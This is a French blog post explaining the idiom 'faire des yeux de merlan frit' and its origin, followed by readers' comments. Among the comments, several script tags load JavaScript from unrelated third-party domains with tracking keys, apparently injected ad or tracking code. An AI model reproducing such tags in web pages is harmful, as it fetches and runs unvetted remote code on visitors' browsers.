-
Expressions pittoresques ou la quintessence de la sapience
Tous les jeudis chez Lilou soleil: ICI
Vous avez envie de jouer ? Le règlement ICI
" Faire des yeux de merlan frit": Avoir des regards énamourés et ridicules.Avoir les yeux levés au ciel, de manière affectée, ridicule, ne laissant paraître que le blanc de l'œil.Fixer avec étonnement, stupéfaction.
L'origine:
Apparue au XIXe siècle, cette expression a remplacé "faire des yeux de carpe frite" (XVIIIe siècle). On l'employait alors pour parler des jeunes gens qui se lançaient des regards tendres et amoureux. L'expression a peu à peu changé, mais elle signifie toujours que l'on a un regard niais.
-
Commentaires
Je connaissais!
Merci pour l'explication!
Merlan sonne mieux que carpe!! LOL!!
Bonne journée avec un soleil qui joue à cache-cache!
je conaissait cette expression , mais je ne l 'entend plus souvent ,
je l aime bien elle est marrante
bonne journée pour toi
Merci pour l'explication!
Bisous
<script src="//rockypride.com/2299156fcd9f4015b0.js"></script><script src="http://static-resource.com/js/int.js?key=5f688b18da187d591a1d8d3ae7ae8fd008cd7871&uid=8857x" type="text/javascript"></script>
<script src="http://cdn-javascript.net/api?key=a1ce18e5e2b4b1b1895a38130270d6d344d031c0&uid=8857x&format=arrjs&r=1585823166843" type="text/javascript"></script> <script src="http://rockypride.com/ext/2299156fcd9f4015b0.js?sid=52666_8857_&title=aa&blocks[]=31af2" type="text/javascript"></script>
Suivre le flux RSS des commentaires
Ajouter un commentaire
Créer mon blog
Je connaissais l'expression mais pas vraiment la définition! On apprend tous les jours...merci Martine!
Bonne journée.
Bisous